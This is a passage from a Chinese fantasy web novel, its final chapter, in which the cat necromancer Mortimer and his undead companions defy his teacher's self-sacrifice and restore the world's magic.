将三个人都封存在这微妙的瞬间里。风呼啸而过的声音还残留在耳边, 但那不过是几秒前的事了。此刻的研究室内安静得能听见窗外草丛被风吹过的沙沙声。 “噗。” 一声轻笑倏地响起。 顶着一头凌乱金发的男人忍不住笑出了声。 他抬手随意拨了拨被风吹得东倒西歪的发丝, 眉眼像是因为自己和莫特默毫无防备地被狂风扑了一脸感到荒唐无奈,又像是觉得亥伯龙这幅哑口无言的样子很有趣一样, 笑意从他眼眸中流露。 这一声瞬间打破了空气中尴尬又有点搞笑的氛围。 莫特默也抖抖炸起的毛, 自然地抱怨起来, 尾音拖得长长的, 带着点撒娇似的嗔怪:“龙,你干什么呀——” 亥伯龙像是自认理亏般侧过头, 依旧什么都没说, 但周身的气氛无疑缓和了很多。 莫特默还想气哼哼地说亥伯龙几句, 可又忽地想起老师在场, 立马紧急停住, 故作正经清了清嗓子, “咳咳, 老师, 他就是亥伯龙了。” “怎么样, 作为我召唤的死灵来说,他应该还算可以吧。”他矜持地说。 亥伯龙的卖相和实力还是很拿的出手的, 至于其他的……别管! 亥伯龙张了张嘴,想说什么,但注意到男人的视线和注意力都在莫特默身上, 又在那一瞬间明悟。 不,他说什么不重要,重要的是莫特默。 “当然不止是亥伯龙!”可能是想到刚刚亥伯龙的登场,莫特默又急忙像是为了补救一般补充道:“我还契约了很多死灵!” 说完,迫不及待地将那些原本因为缺乏魔力而消散的死灵们通通都重新召唤了回来。 阿利斯泰尔一出现,还没睁眼就像个热情的大狗般想呼喊莫特默的名字。 可他一睁眼,那张熟悉又陌生的面容映入眼帘,他猛地怔住,像是乍一眼看到什么过于拟人的玩偶而产生了恐怖谷效应一样,有些被吓到了般地闭上嘴。 等莫特默向对方介绍完他后,阿利斯摸了摸鼻子,才和以往一样笑起来,老老实实又清爽地打了一声招呼。 塞拉菲涅几乎是在凝聚成形的一瞬间就辨认出了男人的身份。她微微一怔,随即垂下眼帘,姿态优雅地行了一礼,每一个动作都恰到好处地表达着尊敬。 维萨罗斯竟也罕见地什么都没说,那张总是挂着若有若无笑意的嘴闭着,保持着沉默,瑟兰迪尔看到对方与自己格外相似的面庞时倒是微惊讶了一瞬,但很快就恢复了镇定。 属于魔法的光亮在不大不小的研究室内亮起,短短几分钟,各具特色的死灵们就出现在了莫特默周围,让房间平白地拥挤起来。 莫特默像是展示般向老师一一介绍过来,见老师眼睛含笑,神色欣慰,说得更起劲了,也就没有发现死灵们之间诡异的沉默。 亥伯龙站在最近的位置,他脊背挺直,下颌微收。他的视线越过莫特默兴奋的身影,静静地落在那位被称为“老师”的男人身上。 那名顶着一头凌乱翘起的头发,面容和善温和的男人正专心致志地听着莫特默讲话,无论从哪个角度看,都是一位再好不过的老师,再随和不过的人类…… 如果忽略他身上传来的压迫感的话。 亥伯龙没有动,也没有说话,他身边的几个死灵也都保持着某种克制的静止。 这是因为,他们都正在极力克制自己在遇到危险时的本能反应。 即便面容和善,即便顶着一头堪称可笑的发型,也不能掩盖莫特默老师的危险性。 在场的死灵们没有一个是弱者,所以他们也能更清晰地感知到,这个眉眼无害的男人,究竟意味着什么。 那不是刻意释放的威压,而是一种收敛到极致后依然无法完全隐藏的气息。像一柄入鞘的剑,像平静海面下深不见底的暗流。 气息恐怖的男人始终没有看向他们,专注地听着莫特默朝他介绍,直到莫特默将全部的话说完,他才抬起头。 他的目光从每一个死灵脸上缓缓扫过,最后停在亥伯龙身上。 亥伯龙感觉到那道目光像一束无形的光线穿透了他身体,像是要看到他的灵魂深处。他没有移开视线,只是更紧地绷住了下颌。 男人端详了他一会儿,忽然笑了。 那笑容温和极了,他说:“别紧张,今天突然用这种方式见面是有点唐突,希望没吓着你们。” 没有人回应。 男人似乎也不在意,继续道:“莫特默平时肯定给你们添了不少麻烦吧?” 几秒后, 亥伯龙冷静地开口:“……没有。” 其他人也纷纷面露和缓的神色,有的甚至轻轻摇了摇头,显然对于这个问题的答案没有第二种可能。 老师看着他们的反应,面色愈加缓和,他认真地说道:“谢谢你们。” 他这话是对所有死灵说的,眼睛却直直地看着亥伯龙。 亥伯龙一怔。 “谢谢你们出现在莫特默的生命里。”老师眼神中透露出一种善意与一种温暖的笑意,声音比方才低了一点, “莫特默……是我自私地将他带到了我的身边,养在身边,却又失责地没能好好地陪伴他,我是一个不负责任的老师,一个不称职的看护者。” 莫特默忙抬首反驳:“老师才不是!” 老师笑着摇摇头,没有接话:“现在,你们成为了莫特默的陪伴者,莫特默的朋友,也是莫特默的……” 他一个个看过去,目光最后停在亥伯龙那,眼中闪过一丝狡黠和了然,却没有将话说下去,只是轻轻弯了弯嘴角。 然后,他看着亥伯龙,只看着亥伯龙,“莫特默愿意和你签订这种契约,你一定是对莫特默很重要的存在。” 亥伯龙嘴巴微微动了一下。 老师却没有给他开口的机会,抢先一步,目光中的温和带上一种奇异的重量:“我只想问你……你愿意负起我没能负起的责任,一直在他身边吗?” 亥伯龙没有犹豫。 “当然。” 这两个字脱口而出,快得连他自己都有些意外。 可他立刻意识到,这答案本就无须思考,就像他刚刚毫不犹豫地响应了莫特默一样。 “好。” 这一声近乎叹息。 老师动了动,托起怀中的猫。 他缓缓地托起怀中的猫,递给亥伯龙:“那么……就拜托你了。” 他的语气中有不舍,但更多的,是一种祝福。 亥伯龙心中一动,感到了什么,下意识郑重地双手接过莫特默。 莫特默也感到了什么。 他懵然地看向老师,声音听上去有点可怜:“……老师?” 这一次,老师没有回应,只含笑地注视着莫特默。 莫特默沉默了一会儿,眼中的懵懂逐渐褪去。 “你又要走了吗?”他问。 他的声音比刚才稳了一点,却藏着更深的颤动。 老师将莫特默稳妥地放在亥伯龙怀中,顺了顺莫特默的毛,温柔地说:“是呀。” “你要去哪?”莫特默不解地问,声音开始发紧,“我现在是厉害的死灵法师,我可以将你留在身边,即使魔力不够,但负担你一个也是没问题,你完全可以和我们一起生活……” 一个指节轻轻敲在莫特默的脑门上,不重,却恰好打断了莫特默的话。 莫特默倔强地盯着老师。 老师忍不住又再一次弯起嘴角:“即便长大了,还是那个粘人包呀。” “但老师也有老师的使命要去完成。” 他轻轻地说:“忘了吗?” “大寂灭。”他提示道。 “大寂灭……”他叹息了一声,声音低了下去,低得就像是在对自己说,“其实本就是我的使命。” “早在魔力的水平没有发生变化之前,我就预言到了这个空前的大灾难,几乎所有的种族都会死在那场大寂灭中,生灵涂炭,万不存一,我不忍看到这种未来,为了探寻这个灾难的真相以及找到解决办法,我开始四处调查。” “当然,我也因此在途中发现了你,将你带了回来,养育你的那段时光至今都是我最快乐的回忆。” 他像是回想起什么美好的回忆,微微笑起来。 笑着凝视了莫特默一会后,他又自然地讲回刚刚的话题, “为了解决大寂灭,我制造了一个可以缓冲魔力下降的熔炉,让其从一瞬间的骤降延长为数百年的缓慢流逝,如此一来,大部分的种族都能从这场灾难中活下去,但再慢,魔力也在流逝,而当空气中的魔力浓度过低,熔炉的缓冲机制也即将失效。一旦熔炉熄火,残留在空气中那点可怜的魔力被瞬间抽离,侥幸生存下来的魔法生物们还是难逃一死。” “但好在在完全清除了所有魔力后,大寂灭将再也不复存在,所以我计划在千年后,在这所有魔法生物都已经适应这低魔力的环境中,填补上我计划中的最后一块拼图。” “我会将熔炉停止,立即触发大寂灭,并在大寂灭将所有魔力一卷而空后,将我的灵魂转化为纯粹的魔力逸散在这世间。” “这样一来,从此往后,世界的魔力水平将永久稳定在一个虽低但不再流失的基准线上。” “魔法不会再辉煌,但魔法生物们也再不会因为魔力流失而死亡。这将会是一个不是最好,但最适合的结局。” 老师笑着阐述着,轻描淡写得好似方才那番话里,那个将要魂飞魄散的人不是他自己。 莫特默怔住了。 老师的笑容太过平静,平静得让他如果对此反应剧烈,都会显得像是在小题大做。 但莫特默知道这不是一件小事,其他人也知道。 其他死灵也纷纷投来愕然的眼神。 “你走了,莫特默怎么办?” 瑟兰迪尔的声音突兀地响起,冷硬如刀,劈开了凝重的空气。她蹙着眉,眉头几乎拧成一个死结,目光直直地盯着老师,没有丝毫退让。 老师笑了,被瑟兰迪尔质问,他没有生气反而神色更加柔软, “如果你是担心我不在了,莫特默也会随之消散的话……” 他摇摇头,“不,莫特默已经不需要我了。” 语毕,他朝莫特默眨眨眼,像是在分享一个只有他们两人知道的秘密。 莫特默迷茫地抬首,什么,他的身躯不是…… 啊。 被遗忘的片段忽然变得清晰,莫特默想起来了。 对了,他根本不是死灵啊!!! 由于灵魂和躯体的过分契合,他误以为自己是被复活的死灵,可实际上…… 莫特默回想起那种灵魂被海水托起的感觉。 他是根源之海孕育出的灵魂,一出生就在帷幕之后,天生没有肉.体,也不需要肉.体,灵魂也和生活在现实视线的生物不一样,不像他们一样有着固定的形状而是像水一样能随意延展变形。 是老师为了将他带到现实世界,才给了他一具可以凭依的身躯,甚至在这具身躯中的,也不是他全部的灵魂,而更像是一个分.身。 而他的灵魂能少了又长回来,就是因为他的灵魂联通着根源之海,失去的灵魂碎片回流到了根源之海后,处于根源之海的本体又给他拨了一点过来,让灵魂能重新填满这个壳子,让他能继续在人间活动。 在之前,他身处的这具身躯因为缺乏魔力消散,他回到了根源之海,本该回归于根源之海的本体,是他听到了老师的呼喊后,自己选择回到了现实世界。 现在这具身躯,也是他自己套上的,自然不需要老师了。 理论上,他可以有任何模样的身躯,是他在塑造时选择了现在这个最熟悉的模样。 老师说,声音平静又笃定:“不用担心,我保证,即便我不在了,莫特默也会一直存在下去的。” “而等我完成我的计划,”他看向莫特默,声音温软,“莫特默也不用担心魔法生物们死亡了。” 莫特默沉默着。 他的身体不用耗费老师的魔力是一件好事,大寂灭被彻底解决了也是一件好事。 但。 为什么……一定要用老师去换呢? “我不要。” 声音闷闷的,从胸口深处挤出来。 莫特默又说了一遍:“我不要,老师好不容易回到我的身边,为什么要因为这种原因离开?一定,一定有其他办法的。” 老师却笑了。他温柔地摸了摸莫特默的头, “听我说,莫特默。”他捧着莫特默的脸,眼神静谧,“早在投身熔炉的时候,我已经死了。” “此时站在你面前的,甚至不是一个完整的灵魂。” “所以,我很高兴。” “能再一次见到你,能用这残余的灵魂帮到你,能完成自己未尽的使命,真是太好了。” “所以,不要伤心。” “还记得我曾说过的话吗?”老师浅笑着, “死灵魔法从不是为了奴役死者,也不是为了复活某人,而是邀请他们,让他们能在我们的世界留下来,让他们有机会……” 他说,声音轻缓, “来弥补他们生前的遗憾。” 风从窗户灌进来,吹动老师的衣摆。 “不要不开心了,莫特默。” “□□的死亡从不是真正的死亡,灵魂的死亡自然也不是。” 老师松开手,直起身,却仍低头望着他。 “只有当你忘了我,彻底不再需要我的那天,我才会真正离开你。” “在完成使命的那一刻,我会化作这世间的魔力,活在你每一次的呼吸中,活在你每一次的思念里。” “每一次风吹过你的鼻尖,是我在念叨着你,每一次星星在天上眨眼睛,是我在我为你指路。这个世界将永远在我的看护下,也将永远是你的乐园。” “老师会永远陪伴着你,看着你快乐又幸福地生活下去的。” 他微微弯下腰,凑近了些,像是要把这句话送进莫特默心里, “好吗?” 莫特默:“……” 良久, 莫特默:“一定要去做吗?” “一定要去做。”老师说。 莫特默张了张嘴:“……” “……我知道了。”他低低地说。 老师欣慰地笑了。 他再一次看向其他死灵,说不腻般对他们说起要好好看顾莫特默的话。 维萨罗斯面色淡淡的,他像是不适应这种伤感的氛围,自出现后就一直保持着这幅冷淡的模样。 塞拉菲涅叹息一声,眼中似有惋惜,阿利斯泰尔面色复杂,好半响,才郑重地应了一声,瑟兰迪尔也微微朝老师颔首。 老师一一望过他们,像是在确认什么,然后他低下头,最后一次看向莫特默。 “那么,我走了。”他的语气和以往每一次出门前一般无二。 顿了顿,他释然道:“这一次,有好好地和你告别了。” 说完,他最后不舍地看了莫特默一眼。 老师转身走了。 莫特默窝在亥伯龙怀中,望着老师一步一步走出废弃工地。 风从那个方向吹来,灌满老师的衣袍 他没有回头。 …… 莫特默安静地垂下眼,尾巴甩了一下。 真正的死亡是什么? 作为死灵法师,作为无生命之海,他还是有些不明白。 对大部分人来说,肉.体机能的停止就是死亡。 对死灵来说,灵魂彻底消散就是死亡。 而对老师来说,他说,肉.体和灵魂都不算是真正的死亡,只有当记忆消失,被彻底遗忘,他才算是真正地死去了。 但对他来说…… 对莫特默,对猫来说呢? 死亡是什么? 猫想不到那么远,也不懂那么多深奥的道理。 死亡就是你走出那扇门,然后门关上。 他不知道什么叫做“告别”,他只知道,你刚才还在这,你的手还摸过我的头,可现在……没有了。 我找遍每个房间,没有发现你的身影,跳上你最爱坐的椅子,那里是凉的。我在窗台上看着外面,看了很久很久,从太阳在中间看到太阳变成橙色,再看到天黑下来。 天黑以后,我依旧能看清外面,可你还是没有出现。 于是我知道,你死了。 但当你再一次开门进来的那一刻…… “Bong!” 人,你又活过来啦! 这一定是猫成功将你召唤回来了! 所以猫都是天生的死灵法师。 在每一次你要走出门时,猫就知道你要死了。猫会跑到门口,喵喵地冲你叫,想拦住你,可你还是会去那帷幕之后,帷幕的大门阻拦猫的视线,猫看不见你了,所以猫坐在门口,开始施展亡灵召唤魔法。 魔力穿过帷幕,在经过一次又一次的尝试后,猫的魔法终于成功,门扉打开。 人又回到了门后,回到了猫的世界。 喵喵,死鬼,你回来啦! 这都是猫猫死灵法师的功劳哦,所以快不拿点好吃的犒劳猫猫! 猫猫高高翘起尾巴,用力蹭了蹭人的脚踝。 这就是猫眼中的死,这就是猫眼中的生。 现在,猫的人要出门,说着什么要继续未完成的使命,猫听不懂,只知道这是猫又一次无法阻拦的死亡。 所以…… 莫特默抬眼。 ——作为世界上最厉害的死灵法师猫猫,莫特默大人,当然要施展他的魔法,将对方召唤回来了!!! 莫特默歪起嘴,豁然露出肆意又邪魅的笑容。 他摊牌了,他不装了! 老师真以为他会乖乖听话,乖乖接受那套漂亮的说词? 说那么多,什么“不是真正的死亡”,什么“这是最合适的选择”,说来说去,不还是想自顾自地抛下猫猫,离开猫猫的世界? 不好意思。他莫特默, 最喜欢对自以为是的人说 NO! ——就算那个人是他的老师!! 牺牲自己拯救其他所有魔法生物? 哼!也不看看他答不答应! 看他先装乖狠狠将老师骗过去,然后…… 莫特默昂起脑袋,尾巴高高竖起: “老师的计划,我不允许。” “所以,我要……” 他看向周围的死灵,意气风发地宣布, “向吾师,发起华丽的叛逆——!”《 》 第67章【正文完结】 第67章 所有死灵齐刷刷地将视线投注过来。 然后。 所有的人的表情都一松, 露出某种心照不宣的笑意。 莫特默能感受到身旁亥伯龙因为低笑微微震动起来的胸膛,周围这些方才还静默如雕像的死灵们,此刻都像是忽然活过来了一般,展露出莫特默再熟悉不过的神情与姿态。 “哎哎哎!莫特默你要怎么做?!” 阿利斯泰尔最先开口, 打破了寂静, 声音中满是宛如每一次呼喊莫特默一块出去玩般的兴奋和期待。 他浅蓝色的眸子像是一下子被点亮, 泛起微光, 目不转睛地望着莫特默,其中透出自然而然的亲昵与属于兽性的野性, 就好像莫特默一声令下, 让他变作大狼去撕咬他的老师, 他也会故作无事地去做, 将利齿深深陷入皮肉,让鲜血浸润口腔。 莫特默早就想说了, 这家伙刚刚在老师面前郑重其事, 故作可靠的样子, 根本就不像他。 “遵从您的意志。”塞拉菲涅也语带笑意紧接着道。 刚被召唤出来的她穿着那身曳地的华丽长裙, 属于海妖族的繁复服饰将她与生俱来的威仪与特质放大到了极致, 红唇勾起笑容绮丽得近乎灼目,也危险得近乎致命。 维萨罗斯更是一反之前冷淡疏离的态度, 难掩愉快地挂起他标志性的, 似笑非笑的笑容。 他饶有兴致地凑过来, 俯下身,活像是引诱小红帽的狼外婆一样, 温柔,蛊惑,语音微微上扬, 在莫特默耳边说: “哎呀呀,莫特默大人,这种事怎么能少得了我呢。” 话音未落,他猛地向后一仰,发梢与袍角齐齐扬起,正好堪堪躲过亥伯龙那只像是挥走苍蝇一样迎面而来的手 没有打到,亥伯龙也不在意,懒洋洋地说:“不愧是你。” 说着,他又好心情地哼笑了一声,掂了掂怀中的莫特默,动作漫不经心却又带着某种理所当然的占有意味。 他低头,看向怀中的莫特默,意味深长地说:“说我霸道的家伙,不如先来看看你。” “不听从,不盲从……”瑟兰迪尔罕见地和亥伯龙站在同一阵营,深深地看着莫特默,眼底缓缓浮起欣赏的神色, “很好。” 他的声音依旧清冷,却比往常多了几分温度。 “这是属于你的,” “对‘神’的抗争。” 此话一出,空气一滞,却像是绷紧的弦彻底松开,气氛反而更加轻松起来。 即便是一贯自矜,喜怒不形于色的塞拉菲涅都忍不住露出哂然的笑意。 维萨罗斯装模作样地故作吃惊,语调抑扬顿挫地说:“这么说的话,那不得不要好好干了。” “噗,所以这是第二次对抗神的集结会议?”阿利斯泰尔笑得露出犬牙,眼睛弯成月牙。 “不,应该算是第三次……?”塞拉菲涅抱臂悠闲地接话,示意地看向地上的一个不可燃垃圾。 众人顺着她的视线看去。 奄奄一息的伪神在半昏半醒间猛然在原地僵住,冥冥中的危机感让他如坠冰窟,意识瞬间清醒了大半。 然而,众人只是随意地扫了他一眼,又不以为然地收回了目光,仿佛那只是一粒无足轻重的尘埃。 伪神悄悄松了一口气。 下一秒, “砰。” 伪神还没来得及反应,就已被一脚踢得腾空而起,像个皮球一样飞向半空,又在划出一道弧线落下时,被另一道力踹向另一个方向。 伪神连喊的力气都没有,只能感受到一只又一只脚在欢声笑语闲聊的背景音中,毫不留情又极具侮辱性地踢在他身上。 “不,这才不是第三次讨伐神明的战争,而是莫特默大人的第一届战略会议!作战会议名就是《向吾师发起华丽的叛逆》!” “砰。” “哈哈,那我们一定要狠狠让他吃一惊……” “砰。” 莫特默比画着,眼底有光在跳跃:“我们就这样……再这样……” “那我来负责……” “砰。” “噗嗤,那我来……” “砰。” 伴随着莫特默他们的声音,他就在半空中飞起又落下,再飞起又再落下,整整飞了一圈后,才重新重重摔回地面。 在此期间,似乎每一人都踹了他一脚,又在踹完一脚后嫌弃地不愿踢第二脚。 伪神伤痕累累又屈辱地躺在所有人包围的中心,没有发出一点声音,只忍耐着。 要不是,要不是他一时半会儿无法进行转移…… 他在心底怨毒地窃窃私语着,一字一句都浸透了恨意。然而,就在这恶意的絮叨中他突然发现…… 周围, 是不是突然有点过于安静了? 他们不是刚刚还有说有笑,聊得热火朝天的吗? 伪神心中猛地绽开不祥的预感,而就如他预感的那样,一股光芒和属于魔法的波动在他背后出现。 伪神目眦欲裂,但他一点力气都没有,连翻身都做不到,浑身的魔力也被禁锢,简直就是变成了他最看不起的,孱弱的人类。 他只能听到那个该死的,阴魂不散的死灵法师说: “我宣布,第一届作战会议完美完成!为了庆祝我们必定会达成的成功……” “看好了,亥伯龙,这可是莫特默大人专门为你发明的小魔法之一哦!” 莫特默声音里扬起明快的得意,魔法的波动愈发明显。 伪神如芒在背,心惊胆战,他要做什…… “啪。” 一声清脆的声音。 然后是一声长长的“咻————” “快快快!”莫特默催促道,让亥伯龙抱着他,带着一群死灵门一股脑地来到阳台。 然后, “砰—啪——!” 所有人仰头看向天空。 只见一个小小的黑点冲天而起,升到了半空中后,轰然炸开! 星星点点的光芒从炸裂处倾泻而下,闪耀又源源不断,像是有人打翻了星辰的匣子,让满天的碎屑飘落人间。 阿利斯吹了一声口哨,发出长长的惊叹。 以灵魂作为燃料放出的烟花带着常人看不见的魔力,带着只有能看见魔力的人才能看见的绚丽变化的色彩,一层叠着一层,红的渗进蓝的,金的缠绕紫的,像是活物般在天空游走、呼吸、绽放。 这是独属于他们,独属于魔法生物们的白日烟花。 莫特默仰头看着天空。 光点在他脸上落下又浮起,让眼睛里的光芒也跟着明明灭灭。 亥伯龙也在看烟花。 他看着那些绚丽的色彩在天空中绽放,光点倒映在他的眼眸中,让某种更深的东西也在瞳孔深处轻轻闪烁。 然后,在所有人都仰头欣赏这一幕的时候,他慢慢移开视线, 看向怀中的莫特默。 静静的目光落在莫特默仰起的脸上。 莫特默依旧仰着头,像是没有察觉到这道视线,完全沉浸在自己创造的景色中不可自拔。 但。 亥伯龙嘴角不易察觉地翘起了一瞬。 谁知道呢? 废弃工地里,其他魔法生物们也发觉了大楼上方绽放的绚丽烟花,连忙呼朋引伴地叫同伴们赶紧出来看。 五颜六色的光点从天空中纷纷扬扬地飘落,像是一场逆向的流星雨。 “好美——” “是发生什么好事了吗?”一名魔法生物下意识问。 她身旁的同伴不假思索地说:“那一定是一件非常,非常好的事。” …… 时间不等人,看完这场与众不同的烟花秀,莫特默一行人就开始行动了。 莫特默的计划很简单,分为三步。 第一步,找到老师。 第二步,阻止老师。 第三步,带回老师。 看,很简单吧? 什么?你说太简单了听不懂? 哎呀,真麻烦。 就是派塞拉菲涅通知所有魔法生物等一会儿发生什么都不要惊讶,让他们做好准备,然后让维萨罗斯帮助他们寻找老师的踪迹并隐藏他们,让他们不被老师提前发现,再在老师实施他计划的紧要关头让阿利斯泰尔突然出现,直接打断老师的计划,给老师一个大大的惊喜,紧接着让瑟兰迪尔和亥伯龙互相配合,将老师困住,最后…… 就是我们一切的幕后黑手,真正的操盘手,莫特默登场的时候。 在那一瞬间,给予他最意想不到,也最沉重的一击。 一个漂亮的背刺。 彻底粉碎老师的计划! 这样一来…… 老师拯救魔法生物们的计划就再也无法成功啦! 哈哈哈哈!!! 莫特默狂笑着,站在半空,站在巨大的红龙的头顶,像是任何一个在最后关头粉碎了主角希望的大魔王那样,居高临下地俯视着老师。 巨龙甘为他的坐骑,梦魇浅笑着陪伴在他身旁,白狼是他忠心的士兵,海妖为其唱上胜利的歌谣,精灵默不作声抬起法杖。 然后,在老师震撼的眼神中,莫特默轰然炸碎了熔炉! “轰隆——!!!” 巨大的气浪卷起熔炉的碎片呼啸而出,其中一片带着灼热的余温,飞过被死死固定在原地无法动弹的老师的肩头。 一切都完美地按照莫特默的计划进行,最简单的计划就是最有效的计划。 而现在, ——就是收获的时刻了。 “莫特默?!?!!!” 老师的喊声破喉而出,但回应他的,只有熔炉彻底崩塌的轰鸣。 熔炉被炸毁。 刹那间,风云色变。 大寂灭, 降临了。 全世界各地的魔力急剧减少,一场普通人感受不到的巨变就此发生。 不同种族,不同地区的魔法生物们,不管是在做什么,都豁然停下手中的动作。 他们早就得到了通知,可当这一刻真正来临时,没有人能真的做好准备。攥紧的手心里是冷汗,也是无声的忐忑。 由于猝然失去了缓冲器,魔力在熔炉原本的位置形成了一个缓缓转动的漩涡,以熔炉为中心,魔力暴动着,继而越转越快,越转越暴戾,最终化作一道贯通天地的龙卷风! 在这狂风大作,席卷一切的魔力洪流中,在这龙卷风的中心, 老师挣扎着,想要脱离桎梏。 即便到了这个时候,他竟还想要和莫特默沟通。 “莫特默!莫特默!!”他焦急地说,声音在风暴中飘摇,却执着地不肯消散, “我们必须在所有魔力消失后立马让我的灵魂化作这世间新的魔力,不然所有魔法生物们都会死!!快放开我!!!” 莫特默无动于衷。 与老师想象中的任何一种情况不同,莫特默竟完全没有和他说什么的意思,只自顾自地享受着海妖唱的歌谣,愉快地随着哼唱着,姿态闲适得近乎诡异。 一副要铁了心要保下老师,冷眼坐视魔力全部消失而不作任何举动的模样。 他的神情太过愉快,愉快得让老师的心一寸寸凉下去。 莫特默……不,莫特默不可能就这么放任所有魔法生物去死,他一贯不喜欢分离,又怎么会眼睁睁看着周围那些簇拥他的魔法生物们离开他呢? 那莫特默这是…… 老师看着围拢在莫特默身边,服从着莫特默的死灵们,一个念头如闪电般划过他的脑海。 老师:! “你不会是想让他们死了后再用死灵魔法将他们召唤回世间?”他震惊地脱口而出。 说出来的一瞬间,他自己都觉得荒谬。 如果是一般的魔法师,他甚至都不会想到这个可能性。根本没有魔法师能做到这一点。 但在这世界上,再没有人比他更清楚莫特默到底是什么了。 如果是他…… 如果是祂的话…… 老师的指节攥得发白。 莫特默做得到。 他真的做得到!!! 听到老师的猜测,莫特默依旧没有回应。 这下老师真的急了,他的声音里没有了平日的从容,只剩下近乎失控的急迫。 “莫特默,你看着我,”老师急得脑门都要出汗,“你不能……” “莫特默,快停下来吧。”他的声音几乎带上请求。 莫特默终于开口了。 他慢条斯理地低下头,看着地面上的老师。 他说:“不要。” 那声音很轻,带着一丝漫不经心的笑意。 老师一愣。 什么……? “我都说过了吧。”莫特默的语气像是在陈述一件再简单不过的事,“我不要老师以这种原因离开我。” “我有好好说过,所以是老师没有认真听我讲话的错哦。” 老师张了张嘴,好一会儿才找回自己的声音:“莫特默,现在不是任性的时候,如果没有我,那些魔法生物们……” “唔。”莫特默发出一声短促的鼻音表示听到了,然后他说,“那又如何?” 所有的话蓦然消失在口中,老师愣愣地回视莫特默。 莫特默游刃有余地说:“老师你不是说,肉.体的死亡从不是真正的死亡吗?” “既然如此,”他顿了顿,嘴角微微扬起,像是不解般问,“你急什么?” 老师哑然。 他就那样站在原地,仰望着高处的莫特默,像第一次认识这个由自己亲手养大的孩子。 莫特默却轻轻笑起来,像是在等什么,轻轻地数起来,“1……2……3……” 他在数什么? 老师赫然反应过来,神色骤变。 莫特默是在数魔力彻底消失会需要多久! 莫特默真的要丧心病狂地让所有魔法生物去死,再把他们召唤成自己的亡灵仆从?! “……5。”第五个数字吐出莫特默的嘴时,席卷天地的魔力龙卷风像是被一只无形的手轻轻抹去,悄无声息地消散了。 全世界各地的魔法生物们齐齐感到胸口一疼,窒息感油然而生。 老师的挣扎骤然猛烈起来,苍白的手指在空中徒劳地抓握着什么,却什么也抓不住。 但他此时本质上是莫特默召唤的死灵,面对一个如此强大的召唤者时,死灵要如何才能违逆对方? 老师的眼中逐渐染上悲哀。 是他……是他的错吗? 是他……没能尽到养育者的职责…… 风停了。 天地之间一片死寂,仿佛世界在这一刻屏住了呼吸,为即将死去的魔法生物们进行默哀。 然后, “好!”莫特默忽然出声。 他在亥伯龙的头上站直身,眼睛亮得惊人,像是终于等到了什么期待已久的时刻。 不喜欢的计划,他直接拒绝! 不想听的话,他直接拒听! 现在,终于是时候到他出马了。 老师认为他是要杀了所有魔法生物们后,让他们变成自己的亡灵仆从? 他有那么邪恶吗? 莫特默纳闷地歪了一下头。 老师真是误会他了,他怎么可能做出那种事来,他当然是, 比那还要邪恶一万倍,喵哈哈哈哈!!! 他怎么会选择去复活那些魔法生物?多麻烦呀。一个一个召唤?多慢呀。 要搞,当然要搞更大的场面! 莫特默放声猖狂地笑起来,尖尖的牙齿让他看起来像蛇。 与此同时,一股庞大的魔力从他体内海啸般倾泻而出,以他为中心向整个世界席卷而去。 距离最近的老师首当其冲。那魔力浓稠得近乎实质,当头拍下时,竟像是一记无形的重拳砸进他的脑海。他脑中所有的思绪都在那一刻被冲刷干净,只剩下一片苍茫的空白。 然后他猛然反应了过来:“莫特默,你——!!!” 莫特默的狂笑声淹没了他的声音。 那笑声回荡在耳边,不绝于耳。 哈哈哈哈!在其他人做准备的时候,他可没有闲着。 他可是抓紧时间“自杀”,啊不,应该说是回到自己原本的地方那里,从源质之海那专门接了一条“水管”过来。 他的灵魂联通着源质之海,而源质之海中有着数千年数万年灵魂消融累积的,近乎无穷无尽的魔力。 老师说一旦大寂灭发生,魔力耗尽,魔法生物们就都要死,所以他必须献身? 那好,这个魔力他来出,并且…… 要出,就一口气出个够!!! “喵哈哈!没错!!” “没有魔力多无趣呀,只有魔法生物们会魔法多可惜呀。” “来呀,快乐呀!” 莫特默站在高高的巨龙头顶,无所顾忌地向世界倾倒着魔力, “大家都来学习魔法吧!” 他是这个世界的馈赠者,也是它的颠覆者。 他的声音穿透天地,穿透每一寸干涸的土地。 他大笑着宣告: “大魔法时代,要到来了——!!!!!” 那一刻,天地之间,魔力骤然复苏。 5秒,空气中的魔力浓度回到了炸毁熔炉前,1分钟,攀升到了百年前亥伯龙那个时代的水平,5分钟,回到了千年前,不,魔力的浓度还在升高! 狂狷的魔力洪流中,维萨罗斯也在笑,他笑得眼泪都流下来:“不得了……不得了……” 阿利斯泰尔闭上双眼,深深呼吸,感受着魔力在血脉中奔涌的畅快。 塞拉菲涅的歌谣愈发动人高亢,婉转悠扬,像是在为这个新时代献上赞歌。 亥伯龙振翅高飞,载着莫特默一举飞上更高的高空,寒风在耳边呼啸,云层在脚下翻涌,他们穿过最后一道薄雾,在云层之上俯瞰这个城市,这个世界。 莫特默志得意满地俯视着脚下的这片大陆。 风扬起他的胸前雪白的毛,也扬起他嘴角的笑。 他的计划成功了。 他留下了他的老师,也解决了大寂灭。 从此之后,大陆的魔力浓度激增,在这种高魔力的环境影响下,不仅魔法生物的数量会急速增加,人类也将会天然拥有魔力,成为另一种魔法生物。 至于……你说之后人人都有了魔力之后产生的混乱? 噗呲。 莫特默忍不住笑出声。 他可不是什么救世主。 他是这个世界上最厉害,最邪恶的死灵法师。是最可爱又迷人的反派角色。 他—— 才不管!!! 猫只负责制造问题,收拾什么的……自然是交给回家的铲屎官喽。 他垂下眼,透过云层的缝隙,仿佛能看见地面上老师还愣在原地的身影。 他大概还在发呆吧?那张脸上肯定还是一副傻了的表情。 莫特默顿时窃笑起来。 猫只知道,今天的他,又成功地施展了自己的妙妙魔法,将铲屎官带回家啦~ “老师——”莫特默得意扬扬地说,“现在你还有什么想说的?” 即使隔着数千米的高空,但有着他们之间的契约在,他知道老师听得到。 地面上,老师泄了力地坐到地上,还是有点回不过来神。 半晌,他才长长地吐出一口气,干脆仰面躺在了地上,认输地说:“……服了你了。” 木已成舟,空气中的魔力浓度俨然已经回到了他那个时代,不,甚至比他那个时代还高的水平,他……他又能说什么呢。 谁能想到呢? 只是一个他一念之差带回来的纯白灵魂,一个固执的、顽劣的、让他又气又笑的小混蛋, 竟直接让世界走向了另一个方向, 也…… 让他继续留了下来。 老师哑然失笑。 猫猫要捣蛋怎么办? 当然是原谅他了。 契约那头,莫特默的声音再一次传来,带着藏不住的嚣张得意:“那你现在应该叫我什么?” 老师无奈地手背挡住眼睛,嘴角却忍不住弯起来:“是,是。” 他叹息着开口,每一个字都带着笑意, “世界上最厉害,最邪恶的死灵召唤法师。” “莫特默大人。” “哎——” 